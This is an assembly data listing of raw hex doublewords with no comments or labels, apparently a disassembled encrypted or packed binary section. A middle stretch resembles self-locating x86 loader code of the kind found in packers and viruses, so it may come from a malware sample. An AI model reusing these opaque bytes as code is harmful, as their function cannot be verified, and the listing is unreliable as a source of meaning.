dd 0BCE09425h, 42BBCE69h, 0B6DC2382h, 3FDF991Bh, 2099BD09h
dd 13871174h, 0ECBE7E1Ch, 0C6BC9440h, 9B4F2C13h, 99BD65F7h
dd 7333AC60h, 9357CE33h, 9A87EE13h, 0DBFA67C1h, 100D2645h
dd 0A5070000h, 8421E55Ch, 6A40047Bh, 4D5C2097h, 2F773BB2h
dd 550F5BD2h, 34AB5650h, 55CC4370h, 73EA1791h, 9007F8AFh
dd 0CAA24EC7h, 5D19AE14h, 6145B225h, 426529A0h, 268444BDh
dd 0C940B7DBh, 94E9BC7Ch, 0FD38ECB8h, 375BFF3Eh, 4DDF2087h
dd 346F0E99h, 8DD4321Bh, 43077E22h, 54089A67h, 1735AC53h
dd 9E08C85Eh, 4BEC3F63h, 6821CD46h, 0FD15EFF0h, 4116B649h
dd 0B40D7C21h, 0C950E83h
dd 80A45B4Ch, 994D97E4h, 0CE601413h, 54CDC077h, 0BDC745A8h
dd 0BD69F219h, 29BE06E5h, 729EC478h, 6B0FF62Eh, 0F0B029CDh
dd 0A92246B9h, 0C841BEE9h, 0D264AB08h, 0CB8F062Ah, 709117DCh
dd 2B9236DEh, 0FFCD28C8h, 44C0DF75h, 3E00000Fh, 581C936Eh
dd 773BB24Dh, 9357CE33h, 0AE72E916h, 469209F8h, 0E41D898Ch
dd 50AA96Dh, 23DECA8Eh, 40BFE8ACh, 0DB8700C9h, 19AE1403h
dd 45EB5E96h, 0B40B9D62h, 0C950E83h, 0A1FFD783h, 9921FD3h
dd 0D3A1855Dh, 0C064181Fh, 0AC73009Ch, 67F015F0h, 0AC5A32DEh
dd 39ED25F2h, 0F2ACC59Dh, 0A45825h, 0AB152289h, 0F2AD27FFh
dd 6206BA25h, 0B12A60E9h, 2CFC2D0Bh, 9B40DC00h, 481C1099h
dd 8E620294h, 0F42C1299h, 87D26975h, 260355B4h, 51h, 4CB6679Dh
dd 0C917A7C4h, 5B7F23DCh, 7E95A2F8h, 81561D12h, 0EAAB95EAh
dd 0C933B327h, 5C088125h, 15F07D18h, 0D960FC3h, 84A8594Dh
dd 0B62DD4D4h, 0F27C3406h, 0A05F4825h, 0CCDC9C29h, 0D7FBA335h
dd 0EE808127h, 0E6ACFh, 27824200h, 7A9E46D8h, 95A217h
dd 2C1CDB87h, 4B8115F9h, 9C24ED26h, 0B8EE9E53h, 0EB0FB749h
dd 0FC85FEB2h, 2946B3Ch, 2186365Ah, 4A367DEh, 251269FBh
dd 7137F770h, 76370FBBh, 16CA25F9h, 29D54E72h, 1C1F00C5h
dd 0EE0A3A70h, 0D65BA2E6h, 2046F6B0h, 98482E22h, 0D14AEE11h
dd 0F2699611h, 0F486792Eh, 6A42EE77h, 0FD2C1F92h, 65D22549h
dd 822EB730h, 2C1F92AAh, 927951FDh, 580C2C1Fh, 0CE476B1Fh
dd 3C716D22h, 0DF46FA22h, 0E44CEA26h, 0D46A891Fh, 0CE00000Dh
dd 0E8AC23DEh, 7CB42BDh, 23E75EA3h, 3E027986h, 0D6229968h
dd 748D191Ch, 957A39FDh, 0B34E5A1Eh, 0D02F783Ch, 6B179059h
dd 19AE1293h, 597BEE26h, 1FD3A185h, 679A10D0h, 4247F043h
dd 65AA09C9h, 7F3FC841h, 882BDB34h, 294DF587h, 0F92C618Dh
dd 0AF28DC15h, 19F19D26h, 0AC25F92Ch, 8324D4F8h, 6641057Ch
dd 49602099h, 5C00FFAAh, 6CFE22CAh, 0F66F2215h, 1635BD4Ah
dd 0C571FA1Ch, 2C1835EDh, 29629F09h, 64185175h, 637636FDh
dd 7E9D33FAh, 0D3Fh, 178E7339h, 36AD5253h, 52C93872h, 6DE41B8Eh
dd 8D04FDA9h, 287E8741h, 159E62D9h, 0E9BF83FAh, 0CADDA118h
dd 7CF5BE35h, 0AE11F8D0h, 0E0538B19h, 0B9D6245h, 36AF5057h
dd 45BAEDADh, 976F0BB3h, 2A1FD3A1h, 8FC05276h, 0F9D17D06h
dd 8C1FD3A1h, 9527DACCh, 5F2349EDh, 0B064DB38h, 0F9E56084h
dd 94477742h, 78196F0h, 4D0D0000h, 6A12A45Dh, 95A2E346h
dd 0C26687Eh, 50F4F2F6h, 71F22BD7h, 0D38715F8h, 1D0D9A5Ah
dd 0F8709971h, 0D4782C25h, 0F10E995Dh, 70EBBF5Fh, 3625F8h
dd 750E8E6Ah, 0FC4F7399h, 31DD563Bh, 1C1506A4h, 33066D21h
dd 32FA6481h, 0C857D9Ch, 2D7F0000h, 0C995DD4h, 0F2B87CF3h
dd 0D5D4980Fh, 0B7EFB32Ah, 0CD87D34Ah, 0AC23DEC8h, 0CD44CBE8h
dd 0EB629F09h, 87F8027h, 421AC63Fh, 0D519AE11h, 62452A9Dh
dd 0CE8E0B9Dh, 0EE9628D7h, 728D1ACAh, 88872CE0h, 4CA5CCF6h
dd 0DB6ED9A5h, 0F1837C2Bh, 0A78658E7h, 4CEFEF7Ah, 0F094960Dh
dd 6D2A0h, 85592D00h, 0F61FD3A1h, 4AD34C41h, 4FE1208Ah
dd 60F20F9Bh, 54F014B8h, 15F92B5Bh, 3C33CF0h, 20E45BA4h
dd 69E67887h, 7002FFA9h, 0E651A4C8h, 3E6A2AA3h, 658931C3h
dd 35B340ECh, 0FA301C16h, 0FE340F38h, 0F158FCF4h, 0FA63D236h
dd 0D45E7D13h, 0CE00000Bh, 0E8AC23DEh, 7CB42BDh, 23E75EA3h
dd 3E027986h, 0D6229968h, 748D191Ch, 957A39FDh, 0B34E5A1Eh
dd 0D02F783Ch, 6B179059h, 19AE1093h, 457BEE26h, 570B9D62h
dd 562EDA50h, 721FD3A1h, 0DE92CB36h, 0A801C13Ah, 0E99BC557h
dd 9F5185BBh, 49DBFFA3h, 7518D18h, 11A36C47h, 0EAAF4569h
dd 3F094A7h, 61Bh, 95A290h, 1DE2C787h, 37F780F9h, 57FF916Eh
dd 2BCD9733h, 480815F9h, 437CA05Fh, 5D56168Fh, 55158EB2h
dd 7236AD52h, 9838CA35h, 25F92BC4h, 168F0235h, 8CB04F56h
dd 35DA6713h, 0A3571C16h, 6376A93Ch, 9FBE54FAh, 0B23h
dd 0FB728F1Dh, 1A916E37h, 36AD5456h, 51C83772h, 71E8198Dh
dd 44626B25h, 318246BDh, 5A367DEh, 0E6C185FCh, 60D9A219h
dd 0AE0FDCB4h, 0C4376F19h, 6F47F37Ch, 21FD3A1h, 2D7A2A4Eh
dd 1B8C40D2h, 0B9E52E4h, 0FAAE62F4h, 76F17507h, 0D98C568h
dd 0DFC787D1h, 0C4E89022h, 94B86B2Eh, 0D1E2A2F0h, 0E51C8E3Eh
dd 0EE87AB53h, 563h, 0A180597Bh, 3CFB1FD3h, 8820E059h
dd 30DC5579h, 15F92B49h, 0D1910ABEh, 0F0B029D6h, 0AB2246B9h
dd 0AD3FC0E7h, 33ACE156h, 40BFEAAAh, 46E206AEh, 1C163521h
dd 4B31ACEh, 0C1FA6377h, 0A750C2Bh, 3D6F0000h, 1C894DC4h
dd 2A86CE3h, 0E5C488FFh, 0C7DFA31Ah, 0BD77C33Ah, 9C13EEB8h
dd 0BD34DBD8h, 0DB52AFF9h, 0F86F9017h, 320AB62Fh, 0C519AE0Fh
dd 62451A8Dh, 0A1441CC8h, 23D71FD3h, 6E39ED7Fh, 5B4BFF91h
dd 476014A6h, 8D1C26B8h, 97C05A51h, 1714955Ch, 447AF373h
dd 9B0FA2D9h, 62CD466h, 0BCE0D91Ah, 23849D41h, 18D865DCh
dd 37DF7190h, 203C7D13h, 80D1F094h, 5E000001h, 0B9D6245h
dd 24DBCE8Eh, 0A8575000h, 0C53A6F2Fh, 0EE658B33h, 9F4F8CFAh
dd 4BB2294Dh, 8430A9ECh, 15F00A6Fh, 39B648FCh, 77E77503h
dd 5AA9CF30h, 0B25D56BAh, 0B0D47820h, 0F2A04014h, 0B727A625h
dd 75B93584h, 4BD809h, 0A2650000h, 0FE870095h, 748484C8h
dd 3357CF85h, 0EFF2F297h, 149F5F15h, 0F0B569FBh, 0E476B0Fh
dd 5428C85Ah, 0BA25F232h, 0D42D7D3Dh, 6E271842h, 882148B3h
dd 9945C0E4h, 0B28A36BFh, 4525F2A1h, 82D76D91h, 2B0975BCh
dd 0C4h, 9D6245B8h, 56588E0Bh, 2933E29Ah, 0B9ED9DC1h, 9B0FCF48h
dd 82CD466h, 0EE5C276h, 43EF6897h, 1FD3156Bh, 14A64AFEh
dd 41B84760h, 0D300B491h, 32CDDA1Fh, 0AEE354BBh, 2800AC35h
dd 0BB1FD341h, 0BE6AE307h, 15F4ADD9h, 0E1208646h, 4A83A74Fh
dd 0D4941D96h, 1C992BD6h, 0F4ED9870h, 0D3772B25h, 5AA7FFAFh
dd 0A5871FE3h, 0F4EE21F9h, 5C00B425h, 6AE5CF5h, 4463F9F0h
dd 8EBh, 0C33AC7E5h, 0E259A6FFh, 0FE758C1Eh, 19906F3Ah
dd 39B05155h, 7C2A33EDh, 694A0E85h, 3D6B2FA6h, 1E894DC4h
dd 28A16AE1h, 0AE0DA47Ch, 8CFF3719h, 6F47F37Ch, 8B1FD3A1h
dd 0A74FE11Eh, 0E696BA6Eh, 6CA41C0h, 70E75EA1h, 16916245h
dd 0CCC45E9h, 2ED668A7h, 0E3C4780Ah, 0C4689710h, 0E11E8B4Bh
dd 0C83A74Fh, 32EDDh, 15905000h, 0A263C6EAh, 0FE870095h
dd 0A1F1C975h, 7C971FD3h, 4B42FAF2h, 0FFA767A0h, 9E3A5E02h
dd 15F02441h, 694AA8DEh, 4E17EF9Bh, 0F6AA25F2h, 11838BD0h
dd 673BDB6Dh, 0CD25F1B6h, 0ECB01A50h, 0D6FC03A2h, 0D1F534E7h
dd 0E6B38856h, 7097544h, 276h, 0A1825994h, 4ED71FD3h, 8E4E0A18h
dd 32CEF7C8h, 1FD2DA5Ah, 0C21539EDh, 79299E75h, 6E746ECDh
dd 8C851CAh, 0A44064ABh, 15F8F6B3h, 917038F8h, 0BDFE346Dh
dd 0E0A9B92Ah, 0D960FB3h, 17A9664Dh, 1BF4BF6Fh, 0DBDE189h
dd 63EC659Ah, 0F8E9DFB7h, 9ABE7225h, 0B7485F23h, 2469CE25h
dd 0F3DAFFABh, 0D3871C15h, 63B51B6Ch, 0B1D066FAh, 7BFh
dd 970EF3B9h, 0B62DD2D3h, 0D249B8F2h, 0ED649B0Eh, 0D847D29h
dd 0A8FE07C1h, 951EE259h, 693F037Ah, 4A5D2198h, 0FC753EB5h
dd 0AE0C7850h, 60D30B19h
dd 249D6245h, 0E50A61EEh, 0A1C55137h, 1E5C920Fh, 7CA41A0Eh
dd 0B9EE9EC2h, 0AA00B446h, 9611C557h, 0D853D769h, 2CA72706h
dd 0BB386FB2h, 5DA205EEh, 0ED7F23CBh, 802AA145h, 0F094FC39h
dd 8F7234F4h, 0FCD480FDh, 8F1FD36Dh, 7A1337DBh, 186h, 1B624507h
dd 0A67B15FFh, 926D3AA9h, 4B84AEEh, 7EE55CA3h, 0D25BD4B9h
dd 0EC944C9Ch, 229B6559h, 0D35D9E76h, 597D311Fh, 0F065A8BDh
dd 31753515h, 0F2963ED0h, 64ECC060h, 0D55225F2h, 0DFEC5B9Fh
dd 30540D54h, 471229B5h, 660975F4h, 54h, 0FEF4A7DDh, 3CA3BE82h
dd 7B97FF16h, 95B9CE3Bh, 0F495A232h, 2FA84CB3h, 0EDBB386Fh
dd 0D34C7014h, 0F0808227h, 0E97B2F15h, 0F2C07549h, 825CDB25h
dd 0C9A14DD6h, 5C25F2C0h, 0C04F27D3h, 2EE225F2h, 89D0668Ah
dd 4409745Dh, 4CDE2184h, 0B6E780A4h, 74000000h, 1CC86245h
dd 1FD3A144h, 0CAA24ED7h, 5D1FD3A1h, 5E5505A9h, 0D3771FB1h
dd 0E8198D41h, 0FA05A256h, 744CF881h, 71FD3A1h, 0E99D2F53h
dd 8F7035BEh, 17C474EBh, 1D1FD3F4h, 97FE758Ah, 0EB74EDA0h
dd 0D3F3673Fh, 9E190D1Fh, 0EAC2D299h, 60D9FDB1h, 6EE2A1D7h
dd 9DC75F88h, 77F8DD79h, 0F1A515F5h, 7B2FEF78h, 0F4B26286h
dd 0D4D2960Dh, 0D77B8421h, 5F0E570h, 0ABCA60F0h, 61Fh
dd 0F76E9319h, 168D7233h, 32A95852h, 4DC43B6Eh, 6DE41D89h
dd 485E6721h, 357E42B9h, 99F63DAh, 0EABD81F8h, 5CD59E15h
dd 0AE0AD8B0h, 0C0336B19h, 29A06145h, 46BD4265h, 0BD467CCFh
dd 623AE69Eh, 0F51FD343h, 52E61B41h, 7532E206h, 0C4D6B408h
dd 27CB97A9h, 46B9EEAEh, 56E80CB4h, 83FA05A2h, 6654h, 0BC7CDD00h
dd 0D88012EDh, 0A1DBB35Fh, 0BA6E1FD3h, 3EC1E696h, 0DBA68FC5h
dd 5DDF5F24h, 0A12AA739h, 0D3031DF5h, 0BFF7C31Fh, 0FFBE183h
dd 4EFE22D6h, 0F00F9A59h, 3FEAA5Eh, 1F29BB5Fh, 8B395C92h
dd 36082639h, 0DA479712h, 0D9B15DCDh, 6C1FD352h, 760807ACh
dd 0F862ACEh, 68824C82h, 0F639F07Eh, 24B7D2h, 45400000h
dd 0DC199162h, 0EE9236C9h, 0A1E7BC5Ch, 0AAFD1FD3h, 9A0FC355h
dd 792D365h, 0BA3556D7h, 55AAFD24h, 467C67DEh, 1A380FBCh
dd 8C3C60B2h, 0D552E41Bh, 6A16CC9Fh, 90B40336h, 1E97FA3Dh
dd 0F8A0B372h, 90225815h, 430E1CAEh, 860F882Ch, 0DB495F50h
dd 0A8612E8h, 120C6E01h, 520226CAh, 6F33AA55h, 8E4EC738h
dd 0AA52E41Bh, 9A9DF486h, 49F57EF7h, 25F7FD71h, 0B32C5004h
dd 0C53C6A2Ah, 0CB678B33h, 1C1D8867h, 0EF18DC12h, 90B78A18h
dd 0F7B373ECh, 0E3C4780Ah, 3EE28A1Ch, 5818A11Ah, 771FB150h
dd 0FB04A353h, 7137F784h, 0EBBC6C90h, 0CEDB9B14h, 0D3F79F31h
dd 734DEA41h, 1D9AEFC7h, 649D0B2Ch, 3DF12AD2h, 4A602099h
dd 56538435h, 0AC50674Ah, 0AE630F88h, 3B223A28h, 682E06B2h
dd 0D581323Ch, 323C68FDh, 0EFA3DC90h, 234FE44Bh, 34CAE44Fh
dd 45E15h, 0AD545800h, 0CC337236h, 0E8199155h, 3FCAD71h
dd 23DEC88Ch, 9FA660ACh, 0BF83FA07h, 0E0A41BF4h, 0FEC239C8h
dd 16DF56A9h, 0A19F19Dh, 74AC19AEh, 9D624501h, 0BA456226h
dd 0CC337428h, 0DF22863Ah, 0F51A994Dh, 8C52D163h, 38A621A1h
dd 0C841BEE9h, 0D7287F3Fh, 29019D45h, 0CF1FD3A2h, 0A7D9975Dh
dd 0C6FC3531h, 0F494BAE0h, 3E620621h, 555C1DC7h, 891F094h
dd 0D2C4845Ch, 3D63171Fh, 57AAE9C8h, 0D87195FDh, 45h, 421AC64Fh
dd 0D51FD2E5h, 0E5C8A04Ch, 0A75B1FD2h, 0A27CDF03h, 4FB2F495h
dd 0E9A932ABh, 791D43BCh, 93A5F90Dh, 33771337h, 0DE15F005h
dd 0B7F1B12Ah, 5123D34Ah, 6525F204h, 8246BD42h, 2A49DB26h
dd 393h, 9D6245B3h, 0AF50570Bh, 2366D138h, 0EC9821AAh
dd 1FD3A214h, 0C1CDF3A7h, 0D3284128h, 7F943054h, 0CC15EFC6h
dd 0EAF56E96h, 0C6EACDECh, 0A747D98Dh, 25F214D3h, 1724BA39h
dd 9753542h, 27E8CB8Bh, 536A03h, 0A2F70000h, 0DB870095h
dd 15F08136h, 0E4456DA3h, 3FD12E7Bh, 9C7E7197h, 6D215A7Eh
dd 8AB6BF4h, 31CD7507h, 25F30559h, 208838ECh, 8B2BBDE1h
dd 25F305B7h, 9426DBCBh, 0A638C7E0h, 2904DA65h, 0A9924CCBh
dd 97420D0h, 0B34C5D1Dh, 0BC557921h, 0C6h, 9D624549h, 0B24F570Bh
dd 423B6C20h, 0DEFA703h, 9527CBEEh, 0C239C6E1h, 0D2F64512h
dd 0A35C4B1Fh, 0C03F682Ch, 2D60D72Eh, 6CA22BB4h, 7AC56785h
dd 6DE7AA4h, 221FD319h, 43EB7D84h, 9632560Ah, 15F02D6Dh
dd 0D5AD59E2h, 6825F22Ch, 329910B4h, 6B179005h, 1C139C90h
dd 60DBB7EDh, 4A709115h, 0F2168398h, 38C05B9h, 0D0E152CDh
dd 0F519C893h, 29A06145h, 59C04165h, 0FA678A10h, 78809F35h
dd 72000002h, 8C50C73Ah, 0AB6FE619h, 0C78B02FFh, 0E2A61DE2h
dd 7AC63DC4h, 18E9BDC0h, 39D6DDA1h, 57AAFEC2h, 748B1CE0h
dd 0FBB34FDh, 19AE0737h, 451F92CAh, 6529A061h, 0B946BD42h
dd 0A1AC8430h, 8B3F1FD3h, 95A20467h, 36DB8700h, 0E315F081h
dd 29FD9D2Fh, 8F25F2C2h, 2C6DCE10h, 0C109745Ch, 0A1h, 9D62454Eh
dd 0B24F570Bh, 0A5B38020h, 0EEB91FD3h, 0D1D69A11h, 1E7FB52Eh
dd 49845C7Ch, 0DE708F1Ah, 0DC6E9236h, 66DFB285h, 0F14591BAh
dd 0B43DC615h, 0F3443008h, 730FC325h, 25F3449Bh, 1D567A2Eh
dd 0AC8BF269h, 60BDDA67h, 0E88C166Eh, 6783C36Fh, 72261C14h
dd 946D39F9h, 0B44D591Dh, 66E1224Dh, 6A891FFAh, 1AFh, 87FE03A9h
dd 0A61DE2C3h, 0C239C8E2h, 0DD54ABFEh, 0FD748D19h, 0B8EEF7B1h
dd 0A50ED249h, 792FF36Ah, 5A4D1188h, 0EC652EA5h, 0AE066840h
dd 50C3FB19h, 29A06145h, 46BD4265h, 9D6245CFh, 0AF50570Bh
dd 561F0036h, 44C3265Bh, 0F016071h, 2549ED15h, 42BDEAAEh
dd 0ABDE59B0h, 73E58632h, 8A4A15F0h, 83BCE01Fh, 122056CFh
dd 0FC40963Ch, 0EA03256h, 0D5D24F8Fh, 0EB4CB32Ah, 38812DA6h
dd 6D1C0FEBh, 7507F8ADh, 768B1DCDh, 0D3651952h, 0E577881Fh
dd 0EC924CDBh, 0EDC5714Bh, 802C11E9h, 3AF28CCh, 222EF0BAh
dd 7D762FEFh, 9F47D936h, 9DC169FBh, 7539B064h, 0CB54CD32h
dd 30EF471Fh, 226DA32h, 15ECBC70h, 6C72F183h, 0A501F2B5h
dd 7E22CA5Ch, 0F297A007h, 12EFB979h, 28C975EEh, 0CD284DDAh
dd 0D4D38719h, 0EC139656h, 501A7850h, 0B3570B38h, 0C9466D21h
dd 4268337h, 501A8058h, 0BB5F1338h, 0B42AA529h, 8D99C9F7h
dd 6C101E0Ch, 4A161DEh, 0A7684BFBh, 0A8D60883h, 0A179258Fh
dd 34385001h, 0B763DC80h, 2E6CEC16h, 0AEBBB7Bh, 9CC0649Bh
dd 0D138AF63h, 0FEAA2366h, 3494B677h, 86792CECh, 0FFA969E2h
dd 0A2C87002h, 0EE5BF8DFh, 58EA0E7Ah, 0CEA652DBh, 6144955Fh
dd 57A8FDADh, 0DB248333h, 0F807A064h, 1B03C666h, 54E30DEEh
dd 0EF10978Ah, 6941ED76h, 0FC96905Ah, 0E9AD2448h, 3FC841BEh
dd 3AD62B7Fh, 96905A62h, 8B1D41F5h, 8421D2D7h, 9D41E97Bh
dd 0E4FA790Bh, 1E956A3Dh, 20B24D5Ah, 0A01h, 0BC7C8A00h
dd 0DA8214EBh, 450168B6h, 54089A67h, 661AAC53h, 792DBF42h
dd 8F43D53Ah, 0A458EA17h, 0B96DFF02h, 0C97D0FF0h, 0DA8E20E1h
dd 86A234CBh, 81E68956h, 4C6h, 4EE8300h, 2474FF56h, 48F5E04h
dd 96685C24h, 8900004Bh, 89572414h, 4C781E7h, 83000000h
dd 3C8704EFh, 1C895C24h, 8AD66824h, 148B0625h, 4C48324h
dd 241C8B54h, 5204C483h, 3CD1BA52h, 5401002Ch
dd 8F5A0424h, 6B810843h, 2C3CD108h, 2434FF00h, 4C4835Bh
dd 5724148Bh, 0C781E789h, 4, 8704C783h, 0E95C243Ch, 0FFF9DF9Ah
dd 70B803DCh, 306259Dh, 0D5E0FFC5h, 0CB5EDFD9h, 0CB74AE53h
dd 0B116F471h, 0F69360Bh, 0D7235CA3h, 86531BD1h, 0CB00FBD8h
dd 221B01C0h, 3E226D98h, 9C010861h, 2C67D2AFh, 0D146A3A1h
dd 7F006AECh, 0DA782773h, 930FAC8Ch, 0FD6D4114h, 55121EFh
dd 0FF11ED15h, 0BF31F4D7h, 5139B969h, 0FE19A647h, 0E84EAE72h
dd 5, 0D66B7504h, 5BFE8BE1h, 13E860h, 23850000h, 1503AA6Ah
dd 0F3275EFBh, 0C82D1F9Dh, 968DBE34h, 5BC8B55Bh, 0A3130ABEh
dd 0C381612Ah, 5BDFh, 0CCF443B8h, 0C220BE6Ch, 0C6814156h
dd 0BEA954A2h, 0DAB833FFh, 59559F75h, 6BC181F5h, 0E95CDA5Ah
dd 13h, 89B72380h, 0B891361Ch, 751DB882h, 4A15908Ah, 81486519h
dd 0BFC15BF1h, 0A7BB6009h, 5162ABEDh, 5AC2BF0Fh, 0DAC18161h
dd 665973B0h, 5160C1B8h, 3890Fh, 0B70F0000h, 8B038FD3h
dd 3EB83D6h, 0E68A4BF9h, 0F01EE83h, 2985h, 9E800h, 0DC250000h
dd 0F156F844h, 668F6D35h, 58441CBAh, 22E9h, 46853300h
dd 0C03821E2h, 5D704EC4h, 2796B96h, 0CF8193E1h, 66FA2E70h
dd 0FFFF6BE9h, 7610BEFFh, 0E9692195h, 15Fh, 60D48B52h
dd 0E8h, 0ED815D00h, 6259F39h, 3D08428Bh, 78263845h, 138850Fh
dd 428B0000h, 184A8B0Ch, 3BBBC8D3h, 337CB69Dh, 4E883C3h
dd 0B5D8589h, 588B061Fh, 8BF88B04h, 4A8B1042h, 0BEC8D318h
dd 0EB216B62h, 0C72BC633h, 83FCE083h, 858904E8h, 61F20C5h
dd 8914428Bh, 1F137D85h, 18428B06h, 0B0E953h, 0B5FF0000h
dd 61F2AB5h, 0B9E9h, 7DB5FF00h, 0E9061F15h, 0AEh, 1D15B5FFh
dd 0A3E9061Fh, 0FF000000h, 1F0F41B5h, 98E906h, 0B5FF0000h
dd 61F3025h, 8DE9h, 0B1B5FF00h, 0E9061F1Eh, 82h, 1ECDB5FFh
dd 77E9061Fh, 0FF000000h, 1F0D29B5h, 6CE906h, 0B5FF0000h
dd 61F1545h, 61E9h, 49B5FF00h, 0E9061F07h, 56h, 105DB5FFh
dd 4BE9061Fh, 0FF000000h, 1F3291B5h, 40E906h, 0B5FF0000h
dd 61F1575h, 35E9h, 5B5FF00h, 0E9061F01h, 2Ah, 2D01B5FFh
dd 1FE9061Fh, 0FF000000h, 1F0865B5h, 14E906h, 0D88B0000h
dd 0BB8h, 0E3F76600h, 9F9A8D8Dh, 0C8030625h, 95FFE1FFh
dd 61F2D59h, 5D858B5Bh, 39061F0Bh, 850F0458h, 0Fh, 0FF016A53h
dd 1F1D4595h, 0E2E95B06h, 61FFFFFFh, 5A61C35Ah, 0D4C96AB8h
dd 8BE0FF77h, 1F00A185h, 888D8D06h, 890625A0h, 0C38B0141h
dd 0AE8h, 96682C00h, 0F5C3A448h, 0BACEC921h, 2D8EBB63h
dd 8CE8159h, 8174D582h, 5DA6C1h, 8B0F00h, 33000000h, 10E9DBh
dd 0DBA50000h, 0AF2CD23Dh, 9A4A1CDDh, 0CB3C18D9h, 3C8B8930h
dd 9E919h, 83A0000h, 511CF201h, 8161541Dh, 21599FC7h, 83BE662Ch
dd 0FCF78154h, 0E96A2E4Ah, 10h, 86D70FB1h, 9C3E22CBh, 0DA7FD12Ch
dd 0FF05FD93h, 0F75AC781h, 8EB625A7h, 60193C89h, 8E0FD58Ah
dd 3, 61D4D880h, 837DC280h, 820F04EBh, 18h, 13E9h, 1989200h
dd 804A82E2h, 882E8BFh, 0E04AE2F9h, 19A5D1D2h, 0A340FB81h
dd 850FFFFFh, 20h, 5E860h, 63500000h, 0F67039Ch, 80h, 0B70F5F00h
dd 18E961C2h, 0AD000000h, 13571085h, 0F1DA8166h, 0FF58E9E4h
dd 0F272FFFFh, 0BAC803AFh, 0EBE10DE2h, 8, 13FE9500h, 502E940h
dd 0BE680000h, 0E90625A2h, 0FFF9DBDAh, 25A33768h, 0DBD0E906h
dd 7B68FFF9h, 0E90625A4h, 0FFF9DBC6h, 67DE2389h, 86FD02A3h
dd 0A219E8C2h, 0BD34CBDEh, 0DD54ADF9h, 0D8CED791h, 0C5EEB229h
dd 990FD34Ah, 7A2DF168h, 0CC450E85h, 0AE004820h, 30A3DB19h
dd 13EEBC7Ch, 9A673FEFh, 0AC535408h, 2469CE35h, 95EAFFABh
dd 0C37715F0h, 0E01F8A4Ah, 0B68A2ABCh, 1C25F2D4h, 0EE58699Fh
dd 8EB45B58h, 0A4C8B5C2h, 0E3A3B529h, 81173BC4h, 974C938h
dd 2F2D5h, 7FEB6200h, 0FC27EC4Bh, 0D6677ABEh, 0BC2C04B0h
dd 0BBF1FD2h, 6A42EE67h, 0FD1FD2BCh, 802CA549h, 15EF9CC7h
dd 7515A85Ch, 22D50428h, 70E9AC8Bh, 0E206F9B0h, 2CAAE069h
dd 2184A81Ch, 9F692B6h, 8619741Eh, 7B1FE2C6h, 90634202h
dd 0B159EB16h, 57E90Dh, 50D95237h, 0D3CF571Ah, 0E307BF89h
dd 931BA647h, 77154B1Fh, 31A503D1h, 36AF53h, 358834E0h
dd 2AA3C771h, 4BC23D6Ah, 59A8FEBEh, 4BFB1FC7h, 813CA35Ch
dd 3CF9E60Ah, 33087A6h, 25870000h, 4A165DCh, 0EAC084FBh
dd 0CDDCA017h, 0AFF7BB32h, 0D58FDB52h, 0B42BD6D0h, 0D54CC3F0h
dd 0F36A9711h, 1087782Fh, 4A22CE47h, 0DD19ADFFh, 0BC7C32A5h
dd 4F6414EBh, 0EE499CC0h, 0A1421AC6h, 21D51FD3h, 39CB3471h
dd 0B474ED91h, 6FE80CF3h, 0F9045EC3h, 0DE570B15h, 279881Eh
dd 799683Eh, 25DCCA8Ah, 2BC7EB93h, 25F9435Ch, 5BC23D6Ah
dd 0F0026DD4h, 0B79CBB51h, 0E000002h, 28EC639Eh, 470B827Dh
dd 63279E63h, 7E42B946h, 1662D928h, 0B44D595Ch, 0D53A793Dh
dd 0F30E9A5Eh, 10EFB87Ch, 0AB57D099h, 19ADFED3h, 7CBB2E66h
dd 0A16F47F3h, 3151FD3h, 9E4C8FBEh, 0E65F134Ch, 0D381623Ah
dd 1D41F51Fh, 0AF286DCAh, 0BD446626h, 0C35F832Bh, 15F8E45Eh
dd 619E0BCBh, 0CA0327CFh, 0D6DD9D16h, 0E3831539h, 25F9240Fh
dd 7138F875h, 0EFEF6A8Eh, 4EC60D4Ch, 169A009h, 8E170000h
dd 0F92C0AE2h, 39E99D25h, 5A02946Dh, 6245D336h, 50570B9Dh
dd 66D138AFh, 0E9FEAA23h, 7615F0A9h, 0BC9030C2h, 0D025F2A8h
dd 0E69A2CE3h, 1AAC3EC1h, 8CEA439Bh, 2F6AD10Dh, 0BE097441h
dd 2Ch, 95A24Bh, 8136DB87h, 2FE315F0h, 0C229FD9Dh, 128F25F2h
dd 1AAC5352h, 0BD34E72h, 0E7188D4Dh, 5C6C2DC3h, 9E810974h
dd 0E000000h, 0B9D6245h, 39B24F57h, 0A22C04B0h, 0BBF1FD3h
dd 0A30EE692h, 0EDA11FD3h, 248337C9h, 0CCC49DBh, 2ED668A7h
dd 0B24D5A0Ah, 0A79D8B3Bh, 0FEA91FD3h, 14238A01h, 27CB3475h
dd 151D02AEh, 16CA15F5h, 2CC9DD9Dh, 69E0847Bh, 990001A5h
dd 0F0067F00h, 73D0EF85h, 0CA000001h, 0E4A81FE2h, 3C73EC1h
dd 1FE35AA7h, 3AFE758Ah, 0D21E956Ch, 70911518h, 917E35F9h
dd 0AF52561Ah, 0CC337438h, 67138C55h, 19ADFD8Fh, 4577EA22h
dd 9C29A061h, 0B561C9DCh, 1FD3A1DDh, 0F418BC70h, 259C6344h
dd 9D6245AEh, 0AF50570Bh, 0C8EBAB38h, 67D02347h, 9720A922h
dd 0D3A213EBh, 7570A61Fh, 9CABF52Bh, 0C5618529h, 15F0CE81h
dd 88872CECh, 0F12A4EF6h, 0A204C43Dh, 6438E85Fh, 7825F2CDh
dd 0CC59D02Fh, 4468A70Ch, 76EF1294h, 0E80CF3B6h, 0DC3756h
dd 0EAAA0000h, 6A11C2BBh, 0CBDE8DDh, 0A2E14468h, 0DB870095h
dd 15F904B2h, 718227E7h, 9729CD42h, 0DE92CBEFh, 57182F65h
dd 7B907DDEh, 9611C557h, 2F65F269h, 59543D96h, 0A8594FDBh
dd 7730E004h, 0DE56F688h, 0FADC0F17h, 0F9D17DADh, 8C6C2F16h
dd 0EEA234D8h, 0AAB446B9h, 4B5EC31Bh, 0D67A22B4h, 849D41D0h
dd 0A165DC23h, 48B9ED06h, 4B5E12A4h, 6B23BB4h, 6C2F162Eh
dd 57E90DC1h, 6BFD02A3h, 7B0DF2B7h, 0CB627CF7h, 0AA00C03Dh
dd 9C48C557h, 6C2F16C4h, 0DBFFA357h, 4A37E60h, 4DF982FBh
dd 6C2F1675h, 0F9787D1Bh, 2D661496h
dd 89D1CDF7h, 0BC60E79Ch, 0D4942198h, 0F49C2ED1h, 788720D0h
dd 99663FFFh, 13C4E375h, 37000000h, 51832901h, 7CA27B1Ah
dd 45F1B871h, 638703h, 674540A7h, 5354089Ah, 42661AACh
